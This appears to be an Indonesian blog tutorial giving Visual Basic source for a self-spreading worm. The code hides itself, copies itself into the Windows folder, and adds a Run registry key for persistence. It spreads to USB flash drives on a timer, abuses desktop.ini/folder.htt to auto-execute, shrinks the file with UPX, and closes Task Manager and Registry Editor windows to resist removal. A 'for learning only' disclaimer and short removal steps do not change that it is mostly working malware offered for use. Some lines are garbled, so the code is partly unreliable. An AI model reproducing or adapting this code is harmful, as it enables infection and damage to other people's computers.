Rabu, 10 Desember 2008

Bab 1 Pembuatan Virus VB

Tutorial ini hanya diperuntukkan bagi pembelajaran. Saya tidak bertanggung jawab atas pengunaan source dibawah ini. Segala akibat bukan jadi tanggung jawab Saya.

Jika anda melanjutkan pembacaan dokumen ini artinya anda setuju...!!!!!!!!!!

1. Tidak menampakan diri pada saat Run.
Buatlah sebuah project baru, dan tambahkan sebuah sub main (Project-Add Module)

Option Explicit ?setiap variable harus dideklarasikan
Sub main()
App.TaskVisible = False ?tidak tampil di taskbar
Form1.Visible = False ?tidak menampilkan form
End Sub

Buatlah sub main sebagai startup object program anda (Project-Project Properties-Startup Object, Sub Main)

Coba lakukan Run, apakah program anda visible (form dan taskbar) ?

2. Mengaktifkan diri setiap proses boot System.
Tambahkan sebuah sub baru dengan nama virusInstall

Sub VirusInstall()
Dim wShell As Object
Dim fSource As String
Dim fTarget As String
'ambil path dan nama exe file
fSource = App.Path & "\" & App.EXEName & ".exe"
'duplikasi ke folder windows
fTarget = Environ$("windir") & "\MyVirus.exe"
'Periksa apakah sudah pernah install
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
Set wShell = CreateObject("WScript.Shell")
'manipulasi registry run
wShell.regwrite "HKLM\Software\Microsoft\Windows\Run\MyVirus", fTarget
End If
End Sub

dan aktifkan sub virusInstall dari Sub Main

Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall ?install diri
End Sub

3. Penyebaran diri melalui media flash disk

? Tambahkan global variable (pada bagian general declaration) agar 1 flashdisk diinfeksi hanya 1 kali (virus yang baik tentu saja harus efisien dalam pemakaian resource sehingga kehadirannya tidak dapat diketahui dengan cepat)

Dim infectedFlashDisk As Boolean ?flag sudah infeksi atau belum

? Tambahkan sub berikut untuk mereplikasi diri virus

Public Sub replikasiDiri(targetDrive As String)
Dim fSource As String
Dim fTarget As String
'replikasi dari C:\Windows (lokasi instalasi diri)
fSource = Environ$("windir") & "\MyVirus.exe"
'ke target drive
fTarget = targetDrive + "\MyVirus.exe"
'jangan replikasi lebih dari 1 kali pada media yang sama
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
End If
End Sub

? Tambahkan sub berikut untuk memantau keberadaan flashdisk

Public Sub sebarFlashDisk()
On Error GoTo BatalInfeksi
Dim AdaFlashDisk As Boolean
Dim ObjFSO As Object
Dim ObjDrive As Object
?buat file scripting object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
AdaFlashDisk = False
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
AdaFlashDisk = True
'jangan infeksi berulang-ulang dan sisa kapasitas > 100 kb
If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then
Call replikasiDiri(ObjDrive.DriveLetter+?)
infectedFlashDisk = True ?aktifkan flag sudah infeksi
End If
End If
Next
If Not AdaFlashDisk Then ?tidak ada flashdisk
infectedFlashDisk = False ?reset flag sudah infeksi
End If
BatalInfeksi:
End Sub

? Tambahkan kontrol timer pada form1

Private Sub Timer1_Timer()
Call sebarFlashDisk ?aktifkan penyebaran flasdisk
End Sub

? Atur setting flag sudah infeksi dan control timer melalui sub main

Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall
'Atur variabel global
infectedFlashDisk = False
'Atur setting time
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End Sub

4. Membatasi pengaktifan diri hanya 1 kali
Virus yang efisien tentu saja harus hemat resource dan menggunakan algoritma yang efisien, sehingga keberadaan dirinya tidak terasa oleh pemakai.

? Tambahkan fungsi findWindow dari WINAPI

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

? Tambahkan fungsi sudahAktif

Function sudahAktif(Title As String) As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
'cari Window dengan title yang sama
vir_hwnd = FindWindow(vbNullString, Title)
sudahAktif = Not (vir_hwnd = 0)
End Function

? Modifikasi sub Main

Sub Main()
Dim namaVirus As String
namaVirus = "MyVirus"
If Not sudahAktif(namaVirus) Then ?jika belum aktif
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall
'Atur variabel global
infectedFlashDisk = False
'Atur setting time
Form1.Caption = namaVirus ?tandai title Window
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End If
End Sub

6. Ganti Icon MyVirus

7. Memperkecil ukuran executable virus anda

Hasil kompilasi dari program MyVirus adalah berukuran 24576 bytes, dan tentu saja cukup kecil untuk ukuran virus VB, tetapi alangkah baiknya kalau executable virus dapat lebih kecil lagi sehingga mempercepat proses loading.

Untuk memperkecil executable file dapat menggunakan software seperti Ultimate Packer for Executable.

Upx Project.exe

Dan ukuran file setelah di-UPX adalah 8704 bytes.

8. Menghilangkan virus ini
a. Pada Run-Registry, buka HKLM\Software\Microsoft\Windows\Run dan hapus value ?MyVirus?
b. Hapus file C:\Windows\MyVirus.exe


Tips tambahan :

Melakukan eksploitasi terhadap folder.htt

Membuat file desktop.ini

Sub buatDesktop_ini(targetDrive As String)
Dim fTarget As String
fTarget = targetDrive + "\Dekstop.ini"
Open fTarget For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "ConfirmFileOp = 0"
Print #1, "[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]"
Print #1, "PersistMoniker=file://web\Folder.htt"
Print #1, "[ExtShellFolderViews]"
Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}"
Close #1
SetAttr fTarget, vbReadOnly + vbHidden
End Sub

Membuat file folder.htt

Public Sub buatFolder_htt(targetDrive As String)
Dim fTarget As String
fTarget = targetDrive + "\web\folder.htt"
Open fTarget For Output As #1
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, "
Print #1, "classid = ""clsid:1820FED0-473E-11D0-A96C-00C04FD705A2"""
Print #1, "style=""width: 100%; height: 100%"" tabIndex=-1>"
Print #1, "
"
Print #1, ""
Print #1, ""
Print #1, ""
Close #1
SetAttr fTarget, vbReadOnly + vbHidden
End Sub

Membuat sub eksploitasi_folder_htt

Public Sub eksploitasi_folder_htt(targetDrive As String)
Dim fSource As String
Dim fTarget As String
'replikasi dari C:\Windows (lokasi instalasi diri)
fSource = Environ$("windir") & "\MyVirus.exe"
'ke target drive
fTarget = targetDrive + "\web"
Call MkDir(fTarget)
SetAttr fTarget, vbHidden
fTarget = fTarget + "\My Virus.exe"
'jangan infeksi lebih dari 1 kali
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
Call buatDesktop_ini(targetDrive)
Call buatFolder_htt(targetDrive)
End If
End Sub

Modifikasi sub replikasiDiri

Public Sub replikasiDiri(targetDrive As String)
Dim fSource As String
Dim fTarget As String
'replikasi dari C:\Windows (lokasi instalasi diri)
fSource = Environ$("windir") & "\MyVirus.exe"
'ke target drive
fTarget = targetDrive + "\MyVirus.exe"
'jangan infeksi lebih dari 1 kali
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
Call eksploitasi_folder_htt(targetDrive)
End If
End Sub

===================================================
tak tambahi ne yo bos..

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies \System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies \System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

Sekian dulu newbie cilik :D

Semoga bermanfaat
thank's to master VB diseluruh tanah air

By ^tHe saBuen^

Tidak ada komentar: